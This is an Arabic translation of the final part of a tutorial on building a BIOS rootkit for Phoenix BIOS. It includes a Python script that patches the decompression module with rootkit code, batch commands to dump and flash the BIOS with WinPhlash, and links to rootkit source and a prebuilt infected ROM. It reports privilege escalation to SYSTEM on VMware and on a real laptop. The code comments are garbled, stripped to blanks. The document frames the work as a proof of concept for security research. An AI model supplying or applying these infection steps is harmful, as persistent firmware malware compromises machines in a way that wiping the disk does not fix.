الجذور الخفية القائمة على BIOS. الجزء 3

نحن نشر الجزء الأخير من الترجمة، الذي أعد عشية بدء الأساسية و المتقدمة الدورات "الهندسة العكسية".














تفريغ وتصحيح BIOS



الآن بعد أن عرفنا كيف نريد حقن rootkit في BIOS ، فإن الخطوة التالية هي تصحيح BIOS بالفعل باستخدام كود rootkit الخاص بنا. للقيام بذلك ، نحتاج إلى استخراج جميع وحدات BIOS ، وإصلاح وحدة التفريغ وإعادة بناء كل شيء. يمكن استخراج الوحدات النمطية باستخدام الأداة المساعدة لوحدة التحكم phxdeco أو محرر Phoenix BIOS. بعد استخراج وحدة التفريغ ، ستقوم الكود التالي بتصحيحها باستخدام rootkit:



#!/usr/bin/python
import os,struct,sys
###############################################
#      BIOS -   
#  Phoenix BIOS Editor ( Windows)    ,   ,    «DECOMPC0.ROM».
#     C:\Program Files\Phoenix Bios Editor\TEMP (   )    BIOS WPH.         .
#   ,  BIOS Editor       BIOS - BIOS Editor    BIOS WPH.
#           phnxdeco.exe,       .
#  ,  NASM   ,    .
#
# INPUT:
#     ,      asm-  BIOS        .
#
# OUTPUT:
#     DECOMPC0.ROM,     ,   , ,    asm-  BIOS.
#    
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
#    
shellcode = sys.argv[1].lower()
#     . NASM    ,    !
os.system('nasm %s' % shellcode)
#       
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
#     ,     0x23  ROM  .
# ROM   ,      push,     CLD.            mov.
#       ,       .
#  ,  ,   Near Call,     ROM- ,      .
#     NOP   .
minihook = '\xe8\x28\x04\x90\x90\x90'
#   ,    ,     !
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
#  ROM  
decorom = open('DECOMPC0.ROM','rb').read()
#     - 0x23,    CLD

hookoffset=0x23
#     ROM ,  ,    
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
#  ROM    NOP.
#    ,    ,   .
decorom+="\x90"*100+decomphook
#   10 NOP  .
decorom=decorom+'\x90'*10
#   ROM,     
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
#   ROM    
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
#  
print "The DECOMPC0.ROM file has now been patched."




مثال على استدعاء هذا البرنامج النصي يمكن أن يكون:



python patchdecomp.py biosrootkit.asm




إذا كان كل شيء يعمل بشكل جيد ، يجب أن ترى شيئًا مشابهًا لما يلي:



Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.




أعد بناء BIOS



بالنسبة لملفات BIOS الأساسية ، مثل تلك المضمنة في VMware ، يمكن استخدام عدد من أدوات سطر الأوامر المساعدة المضمنة في Phoenix Bios Editor (أو المتوفرة من Intel) لإعادة البناء. في وقت لاحق ، عند الاختبار على كمبيوتر شخصي حقيقي ، كان من الضروري حفظ BIOS ليس فقط بالتنسيق الأساسي ، لذلك تم استخدام إصدار واجهة المستخدم الرسومية من Phoenix Bios Editor كأداة لإعادة البناء. لسوء الحظ ، هذا يعني أنه ليس من الممكن ببساطة أن يكون لديك تطبيق واحد يمكن تشغيله على النظام لإصابة BIOS ، على الأقل دون استخدام الأدوات المتوفرة.



هذا يعني أن عدوى BIOS هي عملية من ثلاث خطوات تتطلب بعض التدخل اليدوي ، وإعادة التجميع بشكل أساسي. يظهر محرر Phoenix BIOS مع صورة BIOS مفتوحة أدناه:







لم يتم تصميم برنامج Phoenix BIOS Editor ليحل محل الوحدات النمطية ، ولكنه مع ذلك يوفر مثل هذه الفرصة. عند فتح صورة BIOS لأول مرة ، سيتم استخراج جميع وحدات BIOS النمطية إلى القرص في مجلد موجود فيه C:\Program Files\Phoenix BIOS Editor\TEMP\. يمكن نسخ وحدة التفريغ من هذا المجلد وتثبيتها واستبدالها. لن يسمح لك برنامج Phoenix BIOS Editor بحفظ BIOS دون تغيير ، لذلك لحفظ BIOS ، يتعين علينا تغيير بعض قيم السلسلة ثم تغييرها مرة أخرى (أو اتركها على هذا النحو).



يمكن تنزيل التعليمات البرمجية المصدر لـ BIOS rootkit وبرامج التصحيح من الروابط الموجودة في نهاية هذه المقالة إذا كنت تريد القيام بذلك بنفسك.



كمبيوتر حقيقي



تم استخدام Phoenix BIOS في جميع التصميمات المستندة إلى VMware ، لذلك تم اختياره للاختبار على جهاز كمبيوتر شخصي أيضًا. تم إجراء جميع اختبارات BIOS الفعلية (على عكس الافتراضية) باستخدام كمبيوتر محمول HP Pavilion ze4400. في البداية ، تم التخطيط لاختبار BIOS باستخدام جهاز كمبيوتر ، وليس كمبيوتر محمول ، حيث سيكون من الأسهل بكثير الوصول إلى اللوحة الأم للكمبيوتر الشخصي للوميض إذا لزم الأمر. بغض النظر ، لم يكن من السهل العثور على جهاز كمبيوتر يعمل بنظام Phoenix BIOS بسرعة ، لذلك اضطررت إلى استخدام كمبيوتر محمول بدلاً من ذلك (شكرًا خاصًا لديفيد لوميض الكمبيوتر المحمول الخاص بي بعد أن كتبت عن طريق الخطأ رمز المصدر في BIOS الخاص بي!)



استخراج BIOS على جهاز الكمبيوتر



تتمثل الخطوة الأولى لتعديل نظام BIOS الحقيقي في استخراج نسخة منه. تمتلك Phoenix أداتين مختلفتين توفرهما عادةً لهذا الغرض ، واحدة تسمى "Phlash16" والأخرى تسمى "WinPhlash". Phlash16 هي أداة مساعدة لسطر الأوامر (مع واجهة المستخدم الرسومية لوحدة التحكم) ، لكنها تعمل فقط من DOS. WinPhlash ، كما يوحي الاسم ، يعمل من Windows. على الرغم من أنها أداة مساعدة واجهة المستخدم الرسومية ، إلا أنها تقبل أيضًا معلمات سطر الأوامر ، مما يسمح لنا بأتمتة عملية استخراج BIOS. بالنسبة لهذا المشروع ، قمت بإنشاء العديد من البرامج النصية لأتمتة استخراج BIOS وتصحيحه ، لكنها بدائية إلى حد ما وقليلة الوظائف.



سيقوم البرنامج النصي الدفعي التالي بنسخ BIOS في ملف يسمى BIOSORIG.WPHثم التحقق لمعرفة ما إذا كان قد تم تعديله مسبقًا. نص بيرلCheckFlash.py فقط يتحقق من محتويات BIOS لاسمي ، وهو ليس في أي BIOS غير معدل.



@rem    BIOS  ,     .
@rem 
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem ,   BIOS  
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH




تفريغ وتصحيح BIOS على جهاز الكمبيوتر



بعد استخراج BIOS ، فإن الخطوة التالية هي تصحيحه برمز rootkit الخاص بنا. يمكن القيام بذلك باستخدام نفس البرامج النصية التي استخدمناها مع برنامج VMware في الأقسام أعلاه. كان الهدف من هذا المشروع هو إنشاء عملية تصحيح وترقيع متسقة قدر الإمكان. أنا سعيد جدًا لأن هذا أصبح ممكنًا تمامًا ، بحيث يمكن استخدام نفس الأدوات لأجهزة مختلفة تمامًا تعمل على نفس النوع من BIOS.



إعادة إنشاء BIOS على جهاز الكمبيوتر



في حين أن هناك أداة مجانية يمكنها استخراج وحدات من Phoenix BIOS ، يبدو أن Phoenix Bios Editor فقط هو الذي سيبنيها بالطريقة التي تتطلبها أجهزة الكمبيوتر العادية. تتطلب أداة WinPhlash تمكين معلومات إضافية في BIOS ، والتي تخزنها مع BIOS الخام في ملف WPH. بعد اختبار العديد من الخيارات المختلفة ، يبدو أن الطريقة الوحيدة لإنشاء ملف WPH بنجاح هي استخدام واجهة المستخدم الرسومية لمحرر Phoenix Bios. لسوء الحظ ، هذا يعني أنه من المستحيل أن يكون لديك تطبيق واحد يمكن تشغيله على نظام لإصابة BIOS ، على الأقل دون استخدام الأدوات المتوفرة.



من الناحية النظرية ، يجب أن يكون من الممكن إجراء هندسة عكسية لتنسيق WPH وإنشاء أداة مخصصة لإعادة تجميع BIOS ، ولكن هذا خارج نطاق هذا المشروع. بدلاً من ذلك ، تعد إصابة BIOS عملية من ثلاث خطوات تتطلب بعض التدخل اليدوي ، وإعادة التجميع بشكل أساسي.



كما هو الحال مع تصحيح VMware BIOS ، يمكنك استخدام نفس التقنية لجعل Phoenix BIOS Editor يعيد بناء الوحدة المصححة. عند فتح صورة BIOS لأول مرة ، سيتم استخراج جميع وحدات BIOS النمطية إلى القرص في مجلد موجود فيهC:\Program Files\Phoenix BIOS Editor\TEMP\... يمكن نسخ وحدة التفريغ من هذا المجلد ، وتصحيحها واستبدالها. لن يسمح لك برنامج Phoenix BIOS Editor بالحفاظ على BIOS سليمًا ، لذلك تحتاج إلى تغيير بعض قيمة السلسلة ثم إعادتها (أو تركها هكذا) لحفظ BIOS.



وميض BIOS



بعد إعادة إنشاء BIOS في ملف WPH ، سينقل البرنامج النصي الدفعي التالي صورة BIOS الجديدة إلى BIOS EEPROM ثم يعيد تشغيل الكمبيوتر لتصبح التغييرات سارية المفعول:



@rem       "BIOSPATCHED.WPH"  BIOS   ,  .
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH




نتائج التعديل على جهاز كمبيوتر محمول



بوضع كل الأعمال السابقة معًا ، يوضح ما يلي كيفية نقل رمز BIOS إلى الكمبيوتر المحمول (بدأ بواسطة البرنامج النصي infect.bat الموضح أعلاه):







بعد اكتمال الوميض ، بدأ نظام BIOS rootkit بنجاح وتم تمهيده في Windows kernel. تُظهر لقطة الشاشة التالية سطر أوامر يتم تشغيله مبدئيًا كمستخدم عادي ، ثم بعد 30 ثانية ، يتم رفع امتيازاته:







يوضح هذا أن جذر BIOS كان محمولًا بما يكفي للتشغيل على أنظمة متعددة (VMware ، HP كمبيوتر محمول) ، وأن آليات الإصابة كانت وظيفية وتعمل بشكل صحيح.



تقوم "rootkit" التي تم تطويرها لهذا المشروع بمهمة واحدة بسيطة فقط ، ولكن كما هو مذكور فيما يتعلق ببرنامج Vbootkit2 ، لا يوجد سبب لعدم إمكانية إضافة وظائف إضافية إليه. تميز هذا المشروع بـ Phoenix BIOS ، ومن المحتمل أن هناك العديد من أوجه التشابه بين Phoenix BIOS و BIOS من الشركات المصنعة الأخرى. على الرغم من أنه من المحتمل أن الكود ستحتاج إلى كتابته لكل بائع على حدة ، إلا أنه لا يوجد الكثير منهم ، لذلك يُنصح بتوسيع وظائف rootkit لجميع البائعين المشتركين.



في المقدمة ، أشرت إلى أن ميزات BIOS الجديدة مثل التحديثات الموقعة تجعل الكثير مما هو موصوف هنا أقل بكثير من تهديد الأمان. من الجيد بالتأكيد ملاحظة هذا ، ولكن من الجدير أيضًا أن نتذكر أن هناك أجهزة كمبيوتر "قديمة" أكثر من أجهزة الكمبيوتر "الجديدة" ، لذلك سيظل هذا النوع من الهجوم يمثل مشكلة لفترة طويلة.



العرض التوضيحي لـ VMware BIOS ورمز المصدر



يتم توفير كود المصدر التالي و BIOS المنقح كدليل على المفهوم. لم أكن أقترح بأي حال من الأحوال أن يأخذ الناس هذا ويستخدمونه لأي أغراض ضارة ، لكنني أردت بدلاً من ذلك إثبات أن مثل هذه الهجمات ممكنة تمامًا في تكوينات BIOS القديمة. لا أعتقد أنه من الواقعي أخذ هذا العمل كما هو وتحويله إلى أي برنامج ضار عملي ، ولهذا السبب أقوم بنشر هذا الرمز على الإنترنت.



كما هو مذكور في الأقسام السابقة ، يجب أن يعمل هذا الرمز لتصحيح معظم Phoenix BIOSes. يمكن تنزيل نصوص التصحيح من هنا:



BIOS_Based_Rootkit_Patch_Scripts.zip يمكن تنزيل الكود المصدري لجذر



BIOS هنا:



biosrootkit.asm



أنت بحاجة إلى NASMلتجميع كود تصحيح BIOS إذا كنت تستخدم البرامج النصية / كود المصدر أعلاه. لكي يعمل NASM بنجاح ، إما أن تضيف إلى متغير المسار أو قم بتحديث نص التصحيح للحصول على مسار مطلق إليه. ستحتاج أيضًا إلى نسخة من Phoenix BIOS Editor أو نسخة مجانية لإعادة أداة فك الضغط إلى BIOS الكامل.



إذا كنت لا ترغب في تجميع كل هذا بنفسك وترغب فقط في الالتفاف حول ما حصلت عليه ، فيمكن تنزيل BIOS المصحح للاستخدام مع برنامج VMware هنا:



BIOS_rootkit_demo.ROM



استخدام إثبات المفهوم والملاحظات



إذا كنت لا ترغب في قراءة كل الأعمال المذكورة أعلاه ، فإليك ملخص لكيفية تجربتها وماذا تفعل.



  • قم أولاً بتنزيل الصورة BIOS_rootkit_demo.ROMمن الرابط أعلاه.
  • , VMware Windows XP. VMware Workstation, VMware Player ( ). , VMware Fusion .
  • WinXP, , , .vmx (, WindowsXP.vmx ) . , : bios440.filename = "BIOS_rootkit_demo.ROM". , BIOS_rootkit_demo.ROM , .
  • , pwn.exe (, cmd.exe).
  • انتظر 30 ثانية ثم قم بتشغيل مدير المهام. Pwn.exeيجب أن يعمل الآن كمستخدم "SYSTEM" ، وليس كمستخدم قمت بتسجيل الدخول إلى XP.




يجب أن تعمل الخطوات المذكورة أعلاه في عالم مثالي. ومع ذلك ، نتيجة للاختبار ، تم الكشف عن الرقصات التالية مع الدف!



  • عدم استقرار نظام التشغيل. في بعض الأحيان ، عند تحميل تطبيق أو إغلاقه فقط ، pwn.exeيصدر Windows شاشة الموت الزرقاء.
  • سيكذب مدير المهام بشأن مستخدم العملية الخاصة بك إذا فتحتها قبل وقت تصعيد امتياز الثلاثينيات. استخدم شيئًا مثل cmd مع whoami للتحقق من أذوناتك بشكل صحيح.
  • على الرغم من أنني قمت بتنزيل هذا بنجاح على جهاز كمبيوتر حقيقي ، إلا أنني لست مسؤولاً عن النتائج إذا فعلت الشيء نفسه. أود أن أسمع كيف ستقوم بتجميع اللوحة الأم بطريقة سخيفة إذا حدث ذلك ، لكنني على الأرجح لن أساعدك في العواقب! اختبر على مسؤوليتك الخاصة!




إذا كنت ترغب فقط في مشاهدة مقطع فيديو لكيفية حدوث ذلك ، فقد نشره كولين على موقع YouTube: أوصي بتجربة هذا بالفعل على VMware ، فمن الممتع أكثر أن ترى كيف أن مسح محرك الأقراص الثابتة لا يحل أي شيء ولا يزال نظامك مندهشًا!










All Articles